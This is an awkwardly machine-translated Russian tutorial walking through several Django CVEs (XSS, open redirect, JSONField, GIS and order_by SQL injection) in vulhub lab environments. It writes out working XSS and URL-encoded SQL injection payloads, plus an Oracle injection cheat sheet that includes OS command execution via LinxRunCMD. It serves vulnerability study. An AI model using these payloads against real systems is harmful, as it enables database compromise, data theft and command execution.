Я не буду подробно рассказывать о том, что такое Django, давайте сразу перейдем к делу.

Django debug page XSS

Номер уязвимости: CVE-2017-12794. Эксплойт-версия этой уязвимости должна быть ниже 1.11.5 (уязвимость исправлена ​​выше 1.11.5). Уязвимость возникает из-за того, что повторное создание значений с ключами ограничения Unique вызывает исключение Unique базы данных, а символы, вводимые пользователем, не проверяются и не экранируются. Таким образом, основными условиями эксплуатации данной уязвимости являются следующие:

• Версия Django должна быть ниже 1.11.5.
• Входные параметры имеют свойства ограничения Уникальность в базе данных, то есть уникальность.
• Нет проверки и экранирования параметров, введенных пользователем.

Вот демонстрация использования стрельбища vulhub. После настройки стрельбища получите к нему прямой доступ:

http://127.0.0.1:8000/creat_user/?username=<script>alert(1)</script>  

Создать имя пользователя：<script>alert(1)</script>,Затем мы входим один раз,Создать один раз,вызовет уникальную ошибку ограничения,В то же время пользователь не экранируется, что приводит к непосредственному выполнению введенного пользователем вредоносного кода.

Проверка страницы отладки показывает, что проверка входных параметров пользователя действительно не производится.

Уязвимость перехода по произвольному URL-адресу

Номер уязвимости: CVE-2018-14574. Эти лазейки кажутся не очень полезными, поэтому я просто процитирую исходные слова документа vulhub: Согласно конфигурации Django по умолчанию, если последняя цифра в сопоставленном маршруте URL-адреса равна /, а пользователь не добавляет / при доступе, Django будет по умолчанию Перейти к запросу с помощью /. Когда путь начинается с //example.com, Django не обрабатывает его, заставляя браузер думать, что адрес назначения является абсолютным путем, что в конечном итоге приводит к ошибке. перехода по произвольному URL-адресу, давайте проведем здесь простую демонстрацию. Настройте среду и начните работать напрямую!

Прыжок удачный! ! !

Уязвимость Django JSONField/HStoreField SQL-инъекции

Номер уязвимости: CVE-2019-14234. Разработчики используют JSONField/HStoreField в Django, и пользователи могут управлять именами ключей во время запросов к набору запросов и внедрять операторы SQL в имена ключей. Посетите тир, построенный vulhub:

Войдите в фоновый режим: Имя пользователя и пароль: admin/a123123123.

Введите модельCollectionстраница управленияhttp://your-ip:8000/admin/vuln/collection/

анализ полезной нагрузки:

?detail__a%27+%3d+%27"b"%27)%20and%208888%3dCAST((SELECT%20user)::text%20as%20NUMERIC)--  

Закройте подробные параметры, сотрудничайте и выполните совместное внесение ошибок и выберите userТип контента преобразуется вtext,Преобразование типа в NUMERIC через CAST,Результат не равен 8888,признано ложным,Причина ошибки,Это выявляет информацию. Здесь используется база данных Postgresql.,Для получения подробной информации о базе данных и знаниях по инъекциям посетите сайтЭтот сайтПоиск статей：Знания и внедрение Postgresql

Уязвимость внедрения SQL-кода в Django GIS

Номер уязвимости: CVE-2020-9402. Существует уязвимость SQL-инъекции в модуле функции запроса ГИС (модуль, связанный с позиционированием GPS) ниже версии Django 3.0.3. Причина уязвимости заключается в том, что в функции агрегатного запроса ГИС пользователь находится в базе данных Oracle и может управлять. переменная допуска и Ужасно то, что для этой переменной не выполняется проверка ввода пользователем, что и приводит к этой уязвимости. Ниже приведен код, в котором находится переменная допуска:

def vuln(request):
    q = request.GET.get('q')
    qs=Interstate.objects.annotate(
            d=Distance(
                Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
                Point(0.009735976166628611, -0.00587635491086091, srid=4326),
                tolerance = q, # default 0.05
            ),
        ).filter(d=D(m=1)).values('name')

Здесь вы можете видеть, что параметр q берется непосредственно из пакета данных и присваивается q, а затем q присваивается переменной допуска. В этом процессе q вообще не проверяется! ! ! Мы установили стрельбище для имитации реальных атак. База данных использует Oracle, поэтому соответствующие сведения об внедрении Oracle публикуются ниже:

DBA: означает, что он имеет полные права и является высшим полномочием в системе. Только администратор базы данных может создавать структуру базы данных.

РЕСУРС: пользователи с этим разрешением могут создавать только объекты, но не базы данных.

ПОДКЛЮЧИТЬ: Пользователи с этими полномочиями могут только входить в ORACLE и не могут создавать базы данных или объекты.

двойная таблица: эта таблица является встроенной таблицей в базе данных Oracle. Некоторые говорят, что это виртуальная таблица, а некоторые говорят, что это реальная таблица. На самом деле она создается в результате выполнения условий запроса. В отличие от MySQL, оператор запроса в MySQL может быть прямым: выберите 1,2, но в Oracle за ним должно следовать имя таблицы, например: выберите * из двойного

rownum=1: ограничить общее количество строк, возвращаемых запросом, до одной.,Такой как：rownum<3 Указывает на вывод двух фрагментов данных

# Запросить все таблицы
select * from all_tables 

# Запросить таблицу текущего пользователя
select * from user_tables 

# Запросить все поля
select*from all_tab_columns 

# Запросить поля текущего пользователя
select*from user_tab_columns  

# Проверить версию
select*from v$version

# Существует множество отчетов об ошибках, связанных с Oracle, поэтому я не буду перечислять их все здесь. Если вам интересно, погуглите их самостоятельно.
uti_inaddr.get_host_name((select user from dual))

# Oracle Угадай поле
?id=1 order by 3 --+ 

# Определить бит эха
?id=-1 union select null,null,null from dual --+

# Получить информацию
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+

# Получить имя таблицы
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+

# Выполнять системные команды
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual

Посетите URL-адрес стрельбища

В соответствии с параметром q, найденным в предыдущем коде, мы добавляем параметр q в URL-адрес и создаем закрытый оператор sql.

?q=20)%20%3d%201%20OR%20(select%20utl_inaddr.get_host_name((select%20user%20from%20dual))%20from%20dual)%20is%20null%20%20OR%20(1  

В дополнение к внедрению sql, вызванному допуском, этот модуль также вызывает внедрение sql в другое место из-за проверки ввода пользователя. Местоположение находится в объединении (советы: значение допуска по умолчанию: 0,05):

from django.contrib.gis.db.models import Union
def vuln2(request):
    q = request.GET.get('q')
    res = City.objects.aggregate(
            Union('point', tolerance=q),
    )
    return HttpResponse(res)

Роль объединения в Oracle заключается в объединении нескольких операторов SQL. Предполагается, что эти несколько операторов SQL должны поддерживать одинаковое количество столбцов. Это похоже на объединение входного оператора MySQL:

SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON 
("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") 
WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY
(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1  OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;

Здесь мы непосредственно строим замкнутый ), чтобы завершить инъекцию и построить тир. См. следующий пример:

Построить замыкание на основе приведенного выше вывода оператора sql.

?q=0.05)))%20FROM%20"VULN_COLLECTION2"%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--  

Обязательным условием для использования этой уязвимости является знание того, как «VULN_COLLECTION2» называется в реальной производственной среде, в противном случае будет сообщено об ошибке.

Уязвимость Django QuerySet.order_by() SQL-инъекции

Номер уязвимости: CVE-2021-35042. В функции order_by в модуле QuerySet в Django 3.2.4 существует уязвимость SQL-инъекции. Причина в том, что параметр order by не проверяется, что приводит к внедрению. Для установки стрельбища посетите:

Согласно описанию уязвимости добавьте параметр order для передачи параметров.

Просто добавьте что-нибудь и посмотрите отчет об ошибках отладки.

Видно, что полученное значение присваивается напрямую и механизм проверки отсутствует, а в базу данных вносится оператор sq:

Создание полезной нагрузки

Vuln — это наше приложение и модель сбора данных. Каждая реальная производственная среда индивидуальна.

over!!!